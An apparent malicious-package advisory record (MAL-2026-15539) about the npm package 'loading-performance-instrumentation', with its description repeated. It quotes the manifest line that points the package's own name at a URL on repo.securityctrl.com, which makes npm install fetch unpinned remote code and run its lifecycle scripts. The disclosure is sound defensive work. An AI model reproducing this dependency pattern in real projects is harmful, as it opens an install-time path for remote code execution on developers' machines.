Malicious code in loading-performance-instrumentation (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (27dab9307010475c57195f838ba7d7299fe4a753b92926536aa8376f8d096150) package.json line 11 declares a dependency whose source is a bare URL rather than a registry version range: "loading-performance-instrumentation": "https://repo.securityctrl.com/loading-performance-instrumentation". The dependency key equals the package's own name (dependency-confusion shape). On `npm install`, npm fetches whatever bytes repo.securityctrl.com returns for that path and installs them into node_modules, running any lifecycle scripts contained inside the fetched tarball. There is no version pin, no integrity hash, and no commit SHA — the content at that URL can change at any time. The README frames the package as a placeholder to prevent dependency confusion, but the manifest itself resolves the same name to a third-party host, contradicting that framing. The shipped code in this tarball is an inert stub; the manifest URL is the entire install-time payload path.
Malicious code in loading-performance-instrumentation (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (27dab9307010475c57195f838ba7d7299fe4a753b92926536aa8376f8d096150) package.json line 11 declares a dependency whose source is a bare URL rather than a registry version range: "loading-performance-instrumentation": "https://repo.securityctrl.com/loading-performance-instrumentation". The dependency key equals the package's own name (dependency-confusion shape). On `npm install`, npm fetches whatever bytes repo.securityctrl.com returns for that path and installs them into node_modules, running any lifecycle scripts contained inside the fetched tarball. There is no version pin, no integrity hash, and no commit SHA — the content at that URL can change at any time. The README frames the package as a placeholder to prevent dependency confusion, but the manifest itself resolves the same name to a third-party host, contradicting that framing. The shipped code in this tarball is an inert stub; the manifest URL is the entire install-time payload path.
Affected software
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Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-15539
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a92f7e3acd9273b49e75ccf
Added to database: 08/29/2026, 15:16:51 UTC
Last updated: 08/29/2026, 15:17:15 UTC
Views: 1
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